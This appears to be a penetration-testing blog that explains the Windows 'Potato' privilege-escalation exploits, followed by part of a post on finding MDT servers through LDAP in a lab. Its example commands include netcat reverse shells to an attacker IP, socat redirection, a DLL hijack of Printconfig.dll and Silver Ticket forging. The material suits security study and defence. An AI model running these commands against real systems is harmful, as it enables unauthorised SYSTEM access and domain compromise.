Windows

Windows intrusion testing methodologies, tools, and techniques

In the Potato family, I want them all

Back in 2016, an exploit called Hot Potato was revealed and opened a Pandora's box of local privilege escalations at the window manufacturer. Over the next few years, Microsoft kept patching "Won't fix", which eventually got bypassed with new techniques, always bringing new potatoes.

The goal of this article is to present all the exploits from the first one to the last one, how they work and how to use it. So, let's dive into the incredible Mousline mash up of impersonations and privilege escalations.

image-1647094663263.png

Concepts and definitions of important terms

First things first, in the following explains some technical terms and notions will be used. They will be presented here.

Now, it's time for exploits !
(i.e. For each exploit, the "Does it still work ?" section means in a fully up-to-date environment)

Hot Potato

How it works

When a DNS lookup fail, the computer try to resolve an hostname with NBNS lookup in broadcast. For a privilege escalation purpose, it is not possible to sniff the network and catch the requests because it needs administrator privileges. However, it is possible to flood the target host (127.0.0.1 here) with fake NBNS responses when a request is made. We just have to know for which hostname the request is realized, and the TXID value that must match in request and response. It is a 2 bytes value that can be easily brute forced since we are in UDP on 127.0.0.1.
To deal with a possible DNS record that can match during the initial DNS lookup, Hot Potato uses the "UDP port exhaustion" technique : it bind on ALL the UDP ports, leading to a DNS lookup fail.

By default, some installed services like Internet Explorer or Windows Update try to resolve http://wpad/wpad.dat regularly, that is generally doesn't exist on the network.
Hot Potato will flood the target machine (still 127.0.0.1) with NBNS response for the hostname WPAD, saying it is located in 127.0.0.1; and in parallel it will run an HTTP server to catch the requests. Even if the spoofing attack is ran by a low privileged user it will catch all the requests.

In 2008 Microsoft has patched the same protocol reflective NTLM relay (like SMB->SMB on the same machine), but not the cross protocol reflective NTLM relay. So, HTTP->SMB on the same machine still worked when Hot Potato has been created. Hot Potato redirect all the catched WPAD requests to http://localhost/GETHASHESxxxxx that will response with a 401 error and ask for NTLM authentication. NTLM hash is then relay to SMB to start a new service, as SYSTEM if the original WPAD request come from Windows Update for example.

Examples of command lines
#Windows 7
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true

#Windows Server 2008
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.DOMAIN.LOCAL

#Windows 8/10/Server 2012
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true and wait for certificates update
Does it still work ?

No.

For further read, it's here.

Source code

RottenPotato

How it works

RottenPotato is a Hot Potato exploit, but with really strong steroids. Hot Potato was a little bit instable, sometimes it was needed to wait for Windows Update and WPAD cache refresh for several hours, etc. RottenPotato will use DCOM/RPC call to trigger the Net-NTLM authentication.

It is mainly based on three things:

RottenPotato create an instance of an IStorage object which points to 127.0.0.1:6666. Then, via an API call to CoGetInstanceFromIStorage(), it tells to COM to fetch a BITS object (CLSID 4991d34b-80a1-4291-83b6-3328366b9097) from the IStorage instance, which points to 127.0.0.1:6666.
On the port 6666 a TCP listener is running. All COM packets arriving on this listener will be redirected to the RPC port 135 of the machine in order to let the protocol discuss normally until a potential Net-NTLM authentication arrive.

After some communications between COM and the RPC port, COM eventually send a NTLM Type 1 (Negociate) message. RottenPotato catch it and rip out the NTLM section of the packet to start the process of token negotiation by passing the NTLM Type 1 in a call to AcceptSecurityContext(). The response to this call is a NTLM Type 2 (Challenge) message. We will tell this is the Type 2 number #1.
In parallel, the NTLM Type 1 is also forwarded to the RPC port 135.

Following the NTLM Type 1 packet forward to the RPC port 135, the port will response with an NTLM Type 2 (Challenge) packet (this one will be the number #2). RottenPotato catch it, and replace the NTLM blob inside with the NTLM blob from the NTLM Type 2 received after the AcceptSecurityContext() API call (the number #1, still following ?). Why ? Because the authenticating client (SYSTEM here) will use two particular fields from the NTLM Type 2 packet to authenticate : the "NTLM Server Challenge" and the "Reserved" fields.
RottenPotato pass the values obtained during the AcceptSecurityContext() API call to force the SYSTEM account to authenticate with them and thus the SYSTEM account will craft a token for us and not for RPC.

After sending the NTLM Type 2 (Challenge) to COM, it will replies with a NTLM Type 3 (Authenticate) packet following the backend authentication in memory. RottenPotato makes a new call to AcceptSecurityContext() with it and uses the reply to call ImpersonateSecurityContext() to obtain the final impersonation token.

Now to use the impersonation token, the privilege "SeImpersonatePrivilege" or equivalent (like "SeAssignPrimaryTokenPrivilege") is needed. Additionally, RottenPotato relies on a Meterpreter session with the Incognito mode to use the impersonation token. Basically, the Incognito module permits to steal token the same way web cookie stealing works, by replaying that temporary key when asked to authenticate.

Examples of command lines
#In a meterpreter session
use incognito
execute -cH -f ./rottenpotato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"
Does it still work ?

No. Doesn't work after Windows 10 1809 & Windows Server 2019 because of patches on DCOM and the OXID resolver.

For further read, it's here.

Source code

LonelyPotato

How it works

LonelyPotato is a RottenPotato but without meterpreter Incognito needed. It directly implements the API call to CreateProcessAsUser() in order to impersonate the primary token with the SeAssignPrimaryToken privilege (this one can be used in Session 0, which is normally the session used by service accounts like IIS).

Does it still work ?

Deprecated for the same reason as RottenPotato.

For further read, it's here

Source code (really really instructive !)

RottenPotatoNG

How it works

It is the same thing as LonelyPotato, but that's the "official Rotten portage" without Incognito.

Source code

JuicyPotato

How it works

Surelly one of the most famous exploit of the serie, JuicyPotato is a RottenPotato on steroids (encore...ça fait beaucoup là, non ?). It permits to specify which CLSID to abuse instead of the BITS' CLSID hardcoded in the RottenPotato exploit. Additionally, it is possible to specify our COM server instead of the arbitrary 127.0.0.1:6666, and no need of meterpreter of course.
They discovered that, other than BITS, there are several out of process COM servers identified by specific CLSIDs that could be abused. A list of interesting CLSIDs is presented here.

A usuable CLSID needs at least to:

Other new features, it is possible to choose which function to use depending of the privilege the user has: CreateProcessWithToken() for SeImpersonate or CreateProcessAsUser() for SeAssignPrimaryToken, or both. It is also possible to specify another RPC servers than the 127.0.0.1:135 for the relay, for stealth purpose.

Examples of command lines
#JuicyPotato with the BITS' CLSID, the COM listener port on 1337, and both functions tested
./juicypotato.exe -l 1337 -p C:\Windows\System32\powershell.exe -t *

#JuicyPotato with a .bat execution, a different CLSID, only the function CreateProcessWithTokenW used and a COM listener on 1337
./juicypotato.exe -l 1337 -t CreateProcessWithTokenW -p pathToBat -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
Does it still work ?

No. It is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. It has been patched around the update to Windows 10 1809.

For further read, it's here and here.

Source code

GhostPotato

How it works

GhostPotato is pretty well named. First because it has been released during the Halloween period, then because it brings back from the death the NTLM Reflection.
The first thing to understand is how Microsoft has patched the original NTLM Reflection attacks with MS08-68 and MS09-13 : when InitializeSecurityContext() is called at the begining of the NTLM authentication, the argument pszTargetName is set to the target SPN. After MS08-68, accessing the SMB share \\test\C$ will result with pszTargetName set to cifs/test. MS09-13 has the same purpose, but for HTTP.

So now, how the mitigations really work for the LSASS process? LSASS keep a cache list of all the NTLM challenges recently issued with the associated SPN in order to detect NTLM Reflection attempts.
The victim creates the Security Context with the target SPN (for example, HTTP/Attacker) by calling InitializeSecurityContext() against LSASS. This Security Context is pushed in a Security Context List. LSASS answers to the victim with a NEGOTIATE message that is relayed to the specified SPN (the attacker), and the attacker relay it, for example, to the SMB server.
The SMB server calls AcceptSecurityContext() against LSASS which will answer with the CHALLENGE. After relay, the CHALLENGE arrive to the victim that will use it with InitializeSecurityContext(). At this point, the issued challenge is stored in a Challenge Table.
LSASS sends the AUTHENTICATE message that the attacker will relay to the SMB server (the SPN is still HTTP/Attacker). The SMB Server calls AcceptSecurityContext() with the AUTHENTICATE message and LSASS will verify the challenge validity in the Challenge Table and...the authentication process is killed because HTTP/Attacker is not a valid SPN for the local machine: NTLM Reflection has been detected. If the SPN doesn't match a specific list of authorized SPNs, the authentication is rejected.

But ! Do the entries in the Challenge Table have an infinite lifetime? The answer is NO, otherwise I will not be writing this paragraph. The challenges older than 300 seconds are deleted when the deletion function is called, and this function is executed everytime a new challenge is added !
The idea behind GhostPotato is to exploit this behavior : when the attacker receives the AUTHENTICATE message, instead of immediatly relay it the SMB server he will keep it and sleep during more than 300s. After this time, a dumb authentication is realized with a wrong password in order to flush the table and the AUTHENTICATE message is finally relayed. When LSASS will lookup in the Challenge Table it will find nothing and...accept the authentication (Woop...Woop...That's the sound of Microsoft).

Since a local authentication is used at the begining, the access level gained with the attack will depend of the victim's access rights.

Examples of command lines
#Works like ntlmrelayx, based on Impacket
python3 ghost.py -smb2support -of out -c whoami
Does it still work ?

No. Patched in the security patch CVE-2019-1384.

For further read, it's here.

Source code

SweetPotato

How it works

It's basically a C# portage of JuicyPotato, really useful for direct in memory loading, with CobaltStrike for example, without dropping the binary on the disk.

It also add another way to exploit : when a BITS COM object is instancied, if the service is not already running BITS will attempt to connect to the local WinRM service on port 5985 with a first NTLM Negotiate message as SYSTEM. By running a fake WinRM server, it is possible to catch this Negotiate message, extract the NTLMSSP packet and SPNEGO header, and call InitTokenContextBuffer() to create a server side context with AcceptSecurityContext() (yeah, that's exactly what you think). This server side context (which is basically the Challenge Type 2 part of the Net-NTLM authentication) can be sent in a 401 Unauthorized HTTP response to the BITS client, client who will respond with an Authorization Type 3. The NTLMSSP part on this response is used with AcceptSecurityContext() to obtain el famoso token. This exploit was firstly exploited in RogueWinRM in 2019.

In case where WinRM is not already running, like on Windows 10 by default, SweetPotato will setup a server on the port 5985 and force BITS to authenticate, as SYSTEM. Since the previous potato exploits don't work anymore after Windows 1809 and Server 2019 because of the DCOM patch, SweetPotato will automatically try to exploit the WinRM path if possible when it encounter the patch.

Now, SweetPotato also embeds the PrintSpoofer exploit, which will be presented in the next section.

Examples of command lines with CobaltStrike (ftw)
#SweetPotato with Netcat execution and arguments, directly in memory, via the WinRM attack
execute-assembly ./SweetPotato -p ./nc.exe -a '10.10.14.11 4646 -e powershell' -e WinRM
Does it still work ?

Yes. There is no actual official patch for PrintSpoofer or the WinRM exploit.

For further read, it's here and here.

Source code

PrintSpoofer

Yeah, it's not a *Potato exploit by the name, but it's the same by the purpose...and that's my article, so I will write about it.

image-1647094564583.png

How it works

The idea behind PrintSpoofer is to use Named Pipe for impersonation with the ImpersonateNamedPipeClient() function. PrintSpoofer first creates a Named Pipe with CreateNamedPipe() and grant Everyone to access it. Then, ConnectNamedPipe() pause the thread waiting for a client connection. When a connection arrives, ImpersonateNamedPipeClient() realises the impersonation and it is possible to execute some code as the user.

To coerce the SYSTEM authentication, PrintSpoofer use the good old PrinterBug attack. The PrinterBug exploit is based on the Print Service function RpcRemoteFindFirstPrinterChangeNotificationEx() which permits to send change notifications to a print client...and this function use RPC over Named Pipe to work.
However, by default to Spooler will send the notification to the \\HOSTNAME\pipe\spoolss Named Pipe, and this Pipe already exists and is owned by the SYSTEM, so impossible to create it.
BUT !

If the hostname contains a /, it will pass the path validation checks but, when calculating the path of the named pipe to connect to, normalization will transform it into a \. This way, we can partially control the path used by the server!.

- itm4n

To resume, a path like \\HOSTNAME/pipe/foo123 will be transformed into \\HOSTNAME\pipe\foo123\pipe\spoolss.

And it works ! The Printer function effectively connects to the controlled Named Pipe and a SYSTEM token is received. Now, the impersonation can be done.

Examples of command lines
#From an interactive shell, spawn a SYSTEM shell
./PrintSpoofer.exe -i -c cmd

#Spawn a SYSTEM shell
./PrintSpoofer.exe -c "nc.exe 10.10.14.11 1337 -e cmd"
Does it still work ?

Yes. No official patch for the moment.

For further read, it's here.

Source code

RoguePotato

How it works

Since the patches of JuicyPotato, it is now impossible to specify a custom port for the OXID resolver (only port 135), and just forward the resolution to a local fake RCP server via a remote OXID resolver give an ANONYMOUS LOGON. Resolving the OXID resolution to a controlled server permits to obtain a identification token during the IRemUnkown2 interface query, but remember, identification token are not useful for impersonation purpose.

The exploit idea is to call an OXID resolver method with a forged response to trigger a privileged authentication against a controlled listener. For this, the ResolveOxid[2] function is a good candidat because it permits to specify an endpoint with an IP address and a TowerId (ID of the protocol to use in RPC call).
The TowerId "ncacn_np" permits to deal with Connection-Oriented Named Pipes, and therefore with "epmapper". It's related to the "RpcEptMapper" service, an RPC endpoints mapper through Named Pipes instead of the classic TCP port 135. The advantage of this service is it shares the same process space as "rpcss", and both run with the NETWORK SERVICE account (basically, impersonating this account permits to steal a SYSTEM token, according to this James Forshaw's paper).

By default, RPCSS always tries to connect to the pipe \pipe\epmapper, so it is impossible to redirect it to ncacn_np:localhost[\pipe\roguepotato]. However, the PrintSpoofer exploit has revealed a new attack way : inserting / in the hostname will be interpreted as the partial path of the Named Pipe. Specifying ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper] is interpreted and RPCSS is well redirected to the controlled Named Pipe. A NETWORK SERVICE account's token is obtained.

To resume, the attack takes place as follows :

  1. RoguePotato instruct the DCOM server to perform a remote OXID query (by triggering IStorage with CoGetInstanceFromIStorage()) on a remote IP (the attacker IP).
  2. On the remote IP, a "socat" listener redirects the OXID resolutions requests to a fake OXID RPC Server. At this point, an ANONYMOUS LOGON request arrives.
  3. The fake OXID RPC server implements the ResolveOxid2 server procedure, which will point to a controlled Named Pipe [ncacn_np:localhost/pipe/roguepotato[\pipe\epmapper]]
  4. The DCOM server will connect to the RPC server in order to perform the IRemUnkown2::RemRelease interface call. By connecting to the Named Pipe, an "Autentication Callback" will be performed and RoguePotato could impersonate the caller via a RpcImpersonateClient() call.
  5. The NETWORK SERVICE's token is stolen.

Then, a token stealer will :

  1. Get the PID of the rpcss service
  2. Open the process, list all handles and for each handle try to duplicate it and get the handle type
  3. If handle type is "Token" and token owner is SYSTEM, try to impersonate and launch a process with CreatProcessAsUser() or CreateProcessWithToken() (classic sh*t now)
Examples of command lines
#On the attacker machine, run the socat redirection
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999

#On the target machine, as an account with impersonation privileges
.\RoguePotato.exe -r ATTACKER_IP -e "command" -l 9999
Does it still work ?

After all this time ? Always.

For further read, it's here.

Source code

GenericPotato

How it works

This one is a little bit particular, it is more a "potato template" to "grow our own potato". It is usefull if you are on a machine patched against JuicyPotato, where WinRM already run, the Print service is stopped, and the RPC port are filtered...basically you are in a CTF.
With impersonation privileges, the idea is to create an HTTP and Named Pipe listener in order to impersonate users making requests to it. The exploit doesn't permit to "auto privesc", but permits to listen, and when a request arrives from a SSRF or a file write for example, KABOUM ! The exploit executes the classic 401 Unauthorized attacks with the NTLM authentication.

Examples of command lines
#Listens on HTTP, port 8000, and executes cmd.exe
./GenericPotato -e HTTP -l 8000
Does it still work ?

Yes.

For further read, it's here.

Source code

RemotePotato

How it works

The last but not the least, and maybe the most underrated exploit ! The starting point of this exploit is RoguePotato, but now the objective is to build a cross protocol relay from the RPC authentication to another protocol like LDAP or HTTP on a remote machine to perform a privilege escalation (or at least, actions as another user). This solution could permit to privesc without requiring any impersonation privileges.

image-1647098961002.pngTo achieve this, an authentication from an interesting account (like Domain Admin) without NTLM signing is needed. From the previous research, it appears that IRemUnkown2 doesn't apply any signature. Also, it appears some CLSID impersonate the account connected in the Session immediatly after Session 0, and not the SYSTEM account as usual.
Basically, with a shell in Session 0, by triggering one of these particular CLSIDs an authentication for the user in Session 1 will arrive (or Session 2 if no more 1, that's bait).

There is three main ways to obtain a shell in Session 0:

The list of interesting CLSIDs can be found in the SentinelOne article in read further.

With a shell as a low privileged user in Session 0 on a machine where a privileged user is connected interactively, it is possible to trigger a DCOM activation by unmarshaling an IStorage object, calling CoGetInstanceFromIstorage() with a CLSID that can impersonate an interactive user and setting the attacker IP for the OXID resolution. The attacker who listen on the port 135 will receive the authenticate IObjectExporter::ResolveOxid2 call and will forward it to the fake OXID Resolver. Because this call is signed, it can't be used for the NTLM relay.
Following this, still in the RoguePotato manner, the OXID resolver return a string binding to an RPC endpoint controlled by the attacker. The victim make the IRemUnkown2::RemRelease call on the RPC server, without the Sign flag. At this point, the authentication can be relayed to the desired ressource (LDAP, HTTP, etc).

For the relay purpose, all the MITM and HTTP logic is present in the RemotePotato POC, which then forward the authentication to ntlmrelayx which do its job. Because I can't make a better schema than the SentinelOne ones, here it is :

Totally stolen hereTotally stolen here

During the research they have found that the lack of signing was induced by the security provider choosen in the fake OXID resolver response. If it is set to NTLM (RPC_C_AUTHN_WINNT) with an Authentication Level at RPC_AUTHN_LEVEL_CONNECT (0x2) no signature will be setup. However, by specifying SPNEGO (RPC_C_AUTHN_GSS_NEGOTIATE) no signature will be enforced.

The exploit has now been updated and it is possible to use it from another Session than 0, and to relay another one than the 1.

Examples of command lines
#On the attacker machine, run the socat redirection
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 &
#And the relay to the LDAP for example
ntlmrelayx.py -t ldap://DC-IP --no-wcf-server --escalate-user normal_user

#Open a session on the victim machine
Enter-PSSession -ComputerName victimMachine
#On the machine, run the RemotePotato exploit
./RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
Does it still work ?

Finally, nop. After a long time of "it's not a bug, it's a feature", Microsoft has silently patched the exploit on October 2022 by changing the client authentication level from Packet Integrity to Connect, leading to NTLM signing activation.

For further read, it's here.

Source code

JuicyPotatoNG

How it works

Imagine JuicyPotato can still works ! Ahah no I'm kidding...but imagine...

After the JuicyPotato release, Microsoft has made important modifications about the abusable CLSIDs by changing the obtained token to an Indentification token. Additionally, it was needed to belong to the INTERACTIVE group to exploit the other CLSIDs (PrintNotify for example), which is not at all common.

JuicyPotatoNG is based on the Kerberos DCOM authentication trick presented by James Forshaw, which basically permits authentication relay from a local user Kerberos token to LDAP.  During the DCOM object activation, by calling the LogonUser() API with a Logon Type 9 (NewCredentials) LSASS creates a copy of the token and adds the INTERACTIVE SID to the new one (along the other SIDs). This  new token can be impersonated without impersonation privileges since it has been created with LogonUser().

Next, the SYSTEM authentication is intercepted and the user impersonated with an SSPI hook on the AcceptSecurityContext() function. Using this solution instead of RpcImpersonateClient() permits to listen on a specific port (here 10247, because it is generally available for none privileged users) without blocking it (binding to a port with RpcServerUseProtseqEp() will make it busy and not available for other processes). Additionnally, this approach only needs SeAssignPrimaryTokenPrivilege, where RpcImpersonateClient() also needs the SeImpersonatePrivilege privilege.

Examples of command lines
#Using the default 10247 port with CreateProcessWithTokenW or CreateProcessAsUser createprocess call
./JuicyPotatoNG.exe -p C:\Windows\System32\powershell.exe -t *

#Using a different port to listen on
./JuicyPotatoNG.exe -p C:\Windows\System32\powershell.exe -t * -l 1337
Does it still work ?

Yes, normally it should.

For further read, it's here for the article, here for Juicy2, and here for the James Forshaw explains.

Source code

CertPotato

How it works

And you really thought no one was going to use ADCS to build an exploit *Potato?

CertPotato is, for the moment, not a binary that you can ./ to gain in privileges, but more a technique to achieve a privilege escalation from a service account to the SYSTEM account via  ADCS without using the NTLM relay attack.

This article will not explain what is ADCS and how Microsoft has implemented its own PKI, this is not the goal here. For better understanding of the ADCS attacks, you can look at this and this, or read the SpecterOps' whitepaper.

When a service account like "NT AUTHORITY\SYSTEM", "NT AUTHORITY\Network Service", or a virtual account like "iis apppool\defaultapppool" needs to interact with the network, it uses the machine account. So, if you have a code execution on a web server as "iis apppool\defaultapppool", and the server is domain joined, you can request the domain users with the net command, and the machine account will be used to perform the request.

Back in 2020, Charlie Clark had already exploited this behavior to perform an RBCD attack via the tgtdeleg trick. This technique permits to retrieve a TGT for the machine account from a service account by sending an AP_REQ request to a machine in Unconstrained Delegation (basically, the Domain Controller), and decrypting the AP-REQ authenticator structure with the session key (grabbed in the local Kerberos cache) to extract the TGT and the associated session key placed in it.

With this information in mind, you can potentially imagine a pattern of attack:

  1. With Rubeus, as the service account, we perform the tgtdeleg attack to retrieve a machine's TGT
  2. We reuse this ticket with Certipy to request a certificate for the machine account
  3. This certificate can be used to perform a PKINIT authentication and extract the machine account's NT hash via UnPac-The-Hash
  4. We forge a Silver Ticket for an admin account with the machine account's hash retrieved
  5. Hack the World
Examples of command lines
#In the service account context
.\Rubeus.exe tgtdeleg /nowrap

#Then, in your Kali
#Copy/Paste the Base64 ticket and convert it to a ccache ticket with Impacket
echo "<base64_ticket>" |base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache

#Use Certipy to request a certificate for the machine account with a Kerberos authentication
export KRB5CCNAME=./ticket.ccache
certipy req -k -target 'ca_host' -ca 'ca_name' -template 'Machine'

#Use the certificate to perform a PKINIT authentication and extract the NT Hash
certipy auth -pfx 'machine.pfx' -no-save

#Forge a Silver Ticket with Impacket
ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/machine' -nthash <machine_hash> <target_user>
Does it still work ?

Yes.

For further read, it's here, and here. More explains about ADCS here, here, and here.

Rubeus, Impacket, Certipy

LocalPotato

How it works

Yup, they did it again...but this time differently, and without impersonation privileges ! For a quick remember, during a local NTLM authentication the Type 2 message sent by the server to the client (which are on the same machine, this is local), contains the Negotiate Local Call flag that is used the determine the validity of the security context. Additionally, the Reserved field must reference the local server context handle that the client should associate to.

If the LSASS doesn't correctly check the validity of this field, it could be possible to initiate a connection against a server service as an unprivileged client, swap the context in the received Type 2 message with a one from an intercepted privileged authentication, and then authenticate with the unprivileged client on behalf of the privileged one. Here are the steps decribed in the article:

  1. Obtain a privileged authentication (yeah, from the SYSTEM) on a controlled server, for example with a coercion attack
  2. Initiate a local NTLM authentication with a controlled unprivileged client against a server service (the server is the local machine where we want to privesc here)
  3. Intercept the Type 2 message coming from the server service for our unprivileged client and extract the Reserved field value (called "Context B" here)
  4. Extract the "Context A" value from the Type 2 message generated by our server for the privileged client
  5. Swap the two contexts in order that the unprivileged client will authenticate with the context of the privileged one, and vice versa
  6. Just forward the empty Type 3 messages to complete both authentications
  7. Normally, now the LSASS process will associate the privileged "Context A" with the unprivileged client (which is under our control), and the unpriviliged "Context B" with the normally priviliged client (sorry buddy...)

Okay, that's good, but how to coerce a privileged authentication from the SYSTEM and locally relay it to a usefull server service ? RPC endpoints are protected against local NTLM relay by denying RPC connections if they are coming from the local SYSTEM, and SMB endpoints are normally also protected against cross-protocol relay attack since 2016...all ? No ! Because a technique described by James Forshaw still resists to the mitigation, and the life is not easy for the Microsoft engineers...

asterix.jpg

SMB mitigation is based on the fact that a local authentication must specify the target SPN cifs/127.0.0.1. With this behavior it is, for example, not possible to coerce a WebDAV authentication and relay it to the SMB service since the SPNs will mismatch (it works for both Kerberos and NTLM authentications). However, it appears that it is possible to trick a DCOM client into using an arbitrary SPN to obtain a Kerberos ticket for an arbitrary service, and this also works for NTLM authentications.

Thus, by coercing a SYSTEM NTLM authentication over DCOM/RPC (this abuses COM marshaling with specific CLSIDs, take a look at how RemotePotato works) and specifying the SPN cifs/127.0.0.1 in the OXID resolver, it is possible to bypass the SMB reflection mitigations and obtain a privileged arbitrary file write on the system. Then, it is up to you to find an interesting file to write in order to leverage the arbitrary write into a code execution. Generally, in this situation DLL hijacking got your back.

To be more local, the authors of the tool have decided to rely on a local fake OXID resolver instead of a remote one as it is done generally.

Examples of command lines

In the author's article, they present an example where they hijack the printconfig.dll DLL and then trigger the PrintNotify service that uses this DLL with the SYSTEM rights. But as indicated previously, this attack can work with any other interesting DLL run as SYSTEM.

#With the McpManagementService CLSID which is present by default on Windows 11 and Server 2022
./LocalPotato.exe -i C:\temp\evil.dll -o C:\Windows\System32\spool\drivers\x64\3\Printconfig.dll -c {A9819296-E5B3-4E67-8226-5E72CE9E1FB7}

#Then trigger the PrintNotify service, via its CLSID, that will use the hijacked DLL
$type = [Type]::GetTypeFromCLSID("{854A20FB-2D44-457D-992F-EF13785D2B51}")
$object = [Activator]::CreateInstance($type)
Does it still work ?

On up-to-date system, nop. The attack has been identified as the CVE-2023-21746 and patched in january 2023. Now, the SPN is automatically set to NULL when the ISC_REQ_UNVERIFIED_TARGET_NAME flag is set by the DCOM privileged client.

For further read, it's here and here.

Source code

CoercedPotato

How it works

Some days ago, I have Tweeted (Xed ?) about a now Potato exploit developed by colleagues. This is finally the summary of their article.

This new potato is inspired by the PrintSpoofer exploit created by @itm4n in 2020. However, if the principle remanes the same, it has been improved with many recently discovered vulnerable RPC calls (for exemple, the RPC calls exploited by PetitPotam). Now, with code execution on a machine with an account who has impersonation privileges, it is possible to escalate to the NT AUTHORIY\SYSTEM account with other calls than the printer ones, which are not always available.

Here are the steps for the impersonation:

Since RPC calls will be used for the authentication coercion, a RPC binding handle is needed. It is basically a RPC link with the RPC server (here, localhost) that will serve to contact the different RPC interfaces. The function RpcStringBindingCompose() permits to define how the RPC connection must be setup with different parameters, and RpcBindingFromStringBinding() effectively establishes the link with the server.

Finally, to call an RPC interface, a compiled version of the interface's client is required. This file is called an IDL file (Interface Definition File). I'm not going to go into the meandering explanations of how to create IDL files here, but instead invite you to read the original article of CoercedPotato which is very well explained.

image-1698615881623.jpg

At this point, the IDL files will serve to call the RPC interface, and the target named pipe in the RPC call will be specified with the same trick as for PrintSpoofer, i. e. with the / \ confusion (for example, "\\\\127.0.0.1/pipe/coerced\\C$\\\x00"), to avoid an access denied on an already in use named pipe. When the SYSTEM authentication arrives on the controlled named pipe, it is impersonated as described above, and reused to own the system.

For the moment, the following RPC calls are supported. New ones will be added later:

ms-rprn : 
	[0] RpcRemoteFindFirstPrinterChangeNotificationEx()
	[1] RpcRemoteFindFirstPrinterChangeNotification()
ms-efsr :
	[0] EfsRpcOpenFileRaw()
	[1] EfsRpcEncryptFileSrv()
	[2] EfsRpcDecryptFileSrv()
	[3] EfsRpcQueryUsersOnFile()
	[4] EfsRpcQueryRecoveryAgents()
	[5] EfsRpcRemoveUsersFromFile()
	[6] EfsRpcAddUsersToFile()
	[7] EfsRpcDuplicateEncryptionInfoFile()
	[8] EfsRpcAddUsersToFileEx()
	[9] EfsRpcGetEncryptedFileMetadata()
	[10] EfsRpcEncryptFileExSrv()
	[11] EfsRpcQueryProtectors()
Examples of command lines
.\CoercedPotato.exe -c whoami
Does it still work ?

Oooh yeah ! On any up-to-date systems. The exploit has been tested on Windows 10, Windows 11 and Server 2022.

For further read, it's here (in french).

Source code

Final thoughts

The number of exploits in the potato family is mainly due to the cat-and-mouse game that Microsoft and cybersecurity researchers have been playing since the beginning by patching bypass after bypass. But overall, the concept remains the same, and as long as NTLM can be relayed, privesc will always exist (it's beautiful).

Resources

MDT, where are you?

TLDR

Search for the intellimirrorSCP object class and its netbootServer attribute to find a WDS server that can serve as a MDT share or a Distribution Point.

What's MDT, and MDT background

According to the Microsoft's documentation:

MDT is a unified collection of tools, processes, and guidance for automating desktop and server deployment. You can use it to create reference images or as a complete deployment solution. MDT is one of the most important tools available to IT professionals today.

In addition to reducing deployment time and standardizing desktop and server images, MDT enables you to more easily manage security and ongoing configurations. MDT builds on top of the core deployment tools in the Windows Assessment and Deployment Kit (Windows ADK) with more guidance and features designed to reduce the complexity and time required for deployment in an enterprise environment.

MDT supports the deployment of Windows 10, and Windows 7, Windows 8.1, and Windows Server. It also includes support for zero-touch installation (ZTI) with Microsoft Configuration Manager.

Recently, TrustedSec has dropped a pretty interesting blog post about MDT shares that has caught my attention.

To resume it really quickly, Microsoft Deployment Toolkit (MDT) is often overlooked compared to SCCM, but as a "Lite-Touch Installation" tool, it frequently stores plaintext credentials (e.g., domain join, network access, local admin) within plaintext files on its deployment share—most notably in Bootstrap.ini and CustomSettings.ini.

Typically, misconfigured shares with overly permissive access enable any authenticated AD user to browse and read these files, exposing critical credentials, like Domain Admin's ones. Additional sensitive data may also reside in:

These exposed credentials (e.g., DomainAdmin, UserID, AdminPassword, DBPwd) can facilitate domain compromise or lateral movement.

I really encourage you to read the TrustedSec's article before going any further in this blog post.

But, where ?

The article ends by saying that a good technique to identify that a MDT server is deployed on the network, is to search for the HKLM\Software\Microsoft\Deployment 4\ registry key on already compromised machines. This key doesn't specify where the MDT service lies, but only indicate that a MDT server is probably somewhere.

meme_where.jpg

Even if its already a good starting point, in large network finding a specific server can be a real pain. Maybe there is some attributes or exposed services that could be searched for, in order to more easily snipe the server?

LDAP is a good candidate for this. Generally, when services are deployed in an Active Directory, LDAP operations are performed in order to setup attributes, containers, schema modifications and so on. So, the plan is really basic: let's deploy a MDT server, and monitor all the LDAP activity to find some stuff that could be targeted during a recon.

The lab environment is as follow:

LDAPMonitor got your back

To best way I have found to live monitor the LDAP activity is LDAPMonitor. This tool, developped in Python by @podalirius_, allows to view in real time the modifications performed in the LDAP directory.

To check the setup, I just create a new standard user in the ADSI:

add_user.png

And the addition shows up:

$ python3 pyLDAPmonitor.py -u Administrator -p Password123! -d LAB --dc-ip 192.168.56.10 --ignore-user-logon
[+]======================================================
[+]    LDAP live monitor v1.3        @podalirius_
[+]======================================================

[>] Trying to connect to 192.168.56.10 ...
[>] Listening for LDAP changes ...
[2025-06-27 13:42:33] 'CN=blwasp,CN=Users,DC=lab,DC=local' was added.
[2025-06-27 13:42:33] CN=RID Set,CN=DC1,OU=Domain Controllers,DC=lab,DC=local
 | Attribute "rIDNextRID" changed from '1103' to '1104'

Good, time to move to MDT.

MDT deployment

WDS installation

Microsoft WDS (Windows Deployment Services) is a server role provided by Microsoft to facilitate the network-based deployment of Windows operating systems to client machines. It allows system administrators to deploy Windows OS images to computers without physical media (DVD/USB) by using PXE boot (Preboot Execution Environment). It automates the installation process, reducing manual setup effort in large-scale environments.

In the case of MDT deployment, WDS will be mandatory to deploy Windows images. The WDS installation and setup can be performed with 3 PowerShell commands on the server that will host it:

PS C:\> Install-WindowsFeature -Name WDS -IncludeManagementTools
PS C:\> WDSUTIL.exe /Verbose /Progress /Initialize-Server /Server:MDTServer /RemInst:"C:\RemoteInstall"
PS C:\> WDSUTIL.exe /Set-Server /AnswerClients:All

During the WDS initialization, the following LDAP operations are visible:

[2025-06-27 13:51:43] 'CN=MDTSERVER-Remote-Installation-Services,CN=MDTSERVER,CN=Computers,DC=lab,DC=local' was added.
[2025-06-27 13:51:43] CN=MDTSERVER,CN=Computers,DC=lab,DC=local
